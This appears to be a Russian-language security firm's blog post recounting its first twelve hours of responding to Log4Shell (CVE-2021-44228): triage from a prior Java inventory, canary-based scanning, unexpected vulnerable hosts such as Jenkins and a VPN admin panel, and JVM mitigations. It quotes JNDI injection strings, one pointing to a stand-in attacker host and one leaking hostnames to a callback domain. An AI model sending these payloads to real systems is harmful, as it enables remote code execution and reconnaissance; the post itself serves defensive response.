ADG Оставить заявку
Блог Информационная безопасность 5 мин чтения

Log4Shell: первые 12 часов с инвентарём на руках

CVE-2021-44228 в Apache Log4j 2 - JNDI-инъекция с RCE без аутентификации. Как ноябрьский аудит Java-компонентов помог нам сканировать инфраструктуру клиентов с первых минут.

Контекст момента

9 декабря 2021: публикация PoC для CVE-2021-44228 (Log4Shell) - критическая RCE через JNDI lookup в Apache Log4j 2

9 декабря около полудня по московскому времени в публичных чатах начало расходиться то, что через несколько часов назовут Log4Shell: PoC для CVE-2021-44228 в Apache Log4j 2. JNDI lookup через поле ${jndi:ldap://attacker.com/...} в любом логируемом значении - User-Agent, имя пользователя, заголовок X-Api-Version - и сервер тянет и исполняет произвольный Java-класс с удалённого хоста. Без аутентификации, без доп. условий в большинстве конфигураций. Severity - CVSS 10.0.

Нам повезло в том смысле, что три недели назад мы провели инвентаризацию Java-компонентов у клиентов - именно ту работу, которую было бы неудобно объяснять заказчику в режиме пожара. Реестр уже был. Вот что происходило дальше.

Первые два часа: понять, что горит

Пока PoC расходился по твиттеру, мы разбирались в механике. Уязвимость в Log4j 2 начиная с версии 2.0-beta9 и вплоть до 2.14.1 включительно. Log4j 2.x - не то же самое, что 1.x: первая ветка не уязвима по этому вектору (у неё другие проблемы, но не этот). Условие эксплуатации: приложение логирует пользовательский ввод через Log4j 2, и в этом вводе находится ${jndi:...}. Что, в общем-то, делают почти все Java-сервисы с любым нормальным уровнем логирования.

Сразу стало ясно, почему это не очередная CVE, а что-то неприятное:

  • Поверхность атаки огромная. JNDI lookup срабатывает в момент логирования. Логируется почти всё, что приходит снаружи. Атакующему достаточно одного HTTP-запроса.
  • Log4j 2 везде. Это де-факто стандартная библиотека для Java enterprise. Она приходит транзитивно через десятки фреймворков - Spring, Struts, Elasticsearch, VMware vCenter, Cisco, IBM. Список продуктов растёт каждый час.
  • Exploit-код элементарный. Строчка в curl. Не нужно разбираться в бинарниках.

Через час после появления PoC мы уже видели в открытых сканах - Shodan, Censys, публичные honeypot-логи - первые попытки эксплуатации. Это не академия.

Инвентарь как точка старта

У нас на руках был реестр с ноябрьского аудита: где стоит Log4j, какой версии, как попал - напрямую или транзитивно. По нескольким клиентским средам. Это дало возможность сразу приоритизировать, не бегая по серверам с find.

Алгоритм был простой:

  1. Берём реестр. Фильтруем по Log4j 2.x.
  2. Смотрим на версии: до 2.14.1 включительно - в первую очередь.
  3. Смотрим на доступность снаружи: что торчит в интернет или в DMZ - красная зона.
  4. Смотрим на то, что логирует: что принимает HTTP от внешних пользователей.

Там, где реестра не было - у клиентов вне периметра ноябрьского аудита - запускали сканирование по-быстрому. Использовали log4j-scan и вариации на тему dns-callback через canary-домены: отправляешь ${jndi:ldap://callback.domain/${hostname}} в заголовках, смотришь DNS-запросы. Если сервер уязвим и не заблокирован outbound DNS - колбэк прилетает.

Где нашли - неожиданное

Ожидаемые места - Java API-сервисы, Elasticsearch - были понятны заранее. Неожиданное оказалось интереснее.

Мониторинговая инфраструктура. Один клиент держит Logstash и сопутствующие компоненты Elastic Stack. Logstash сам по себе не Log4j 2, но рядом оказался самостоятельно установленный инстанс старого Elasticsearch с плагинами, который про нас никто не предупреждал. Его поставила команда разработки «для тестов» и оставила.

VPN-концентратор. Не сам по себе, но рядом - административная панель на встроенном Java-сервере, доступная из корпоративной сети. Версия Log4j в ней - 2.11. Производитель оборудования ещё не выпустил патч. Это первая ситуация, когда мы не можем просто обновить библиотеку - зависим от вендора.

CI/CD агенты. Jenkins на двух клиентах. Jenkins написан на Java, использует Log4j 2. Агенты с прямым доступом к production-репозиториям. RCE на Jenkins - это не просто скомпрометированный хост, это потенциально весь пайплайн деплоя.

Что делали в первые 12 часов

Патч на тот момент - Log4j 2.15.0 - только появился. Не у всех была возможность моментально обновиться: вендорские компоненты, замороженные среды, требование регрессионного тестирования перед обновлением prod.

Для таких случаев два workaround-а, о которых уже писали в security-сообществе:

  • Системное свойство JVM: -Dlog4j2.formatMsgNoLookups=true. Отключает lookups в сообщениях лога. Не требует обновления, применяется рестартом сервиса.
  • Переменная окружения: LOG4J_FORMAT_MSG_NO_LOOKUPS=true. То же самое для тех, у кого нет прямого контроля над аргументами JVM.

Эти меры - временные. Они не закрывают все векторы, которые уже обсуждались к вечеру 9 декабря. Но для первых часов - лучше, чем ничего, пока тестируется обновление.

Jenkins обновили в первую очередь. Административные панели без патча изолировали на уровне сети - временный ACL, пока вендор не зашевелится.

Где мы сейчас

К концу дня у нас была картина по всем клиентам: что уязвимо, что уже закрыто, что ждёт вендорского патча, что изолировано. Это работоспособный план вместо паники.

Ситуация не закрыта - вокруг CVE-2021-44228 продолжают появляться новые детали, обходы mitigation, новые уязвимые продукты. Это будет продолжаться. Но разница между «мы знаем, где у нас Log4j» и «мы не знаем» - принципиальная. Аудит Java-компонентов, который мы делали в ноябре без конкретного повода, оказался именно тем, что нужно в первые часы после публикации PoC.

Из практического наблюдения: самые неожиданные находки - не в продуктовых Java-сервисах, которые все знают и мониторят. Они в мониторинговой инфраструктуре, CI/CD, административных панелях и вендорских компонентах. Именно там, где никто не смотрит в первую очередь.

Контакт

Нужна такая же инженерная работа?

Опишите задачу и контекст. Ответим в течение рабочего дня, при необходимости подпишем NDA.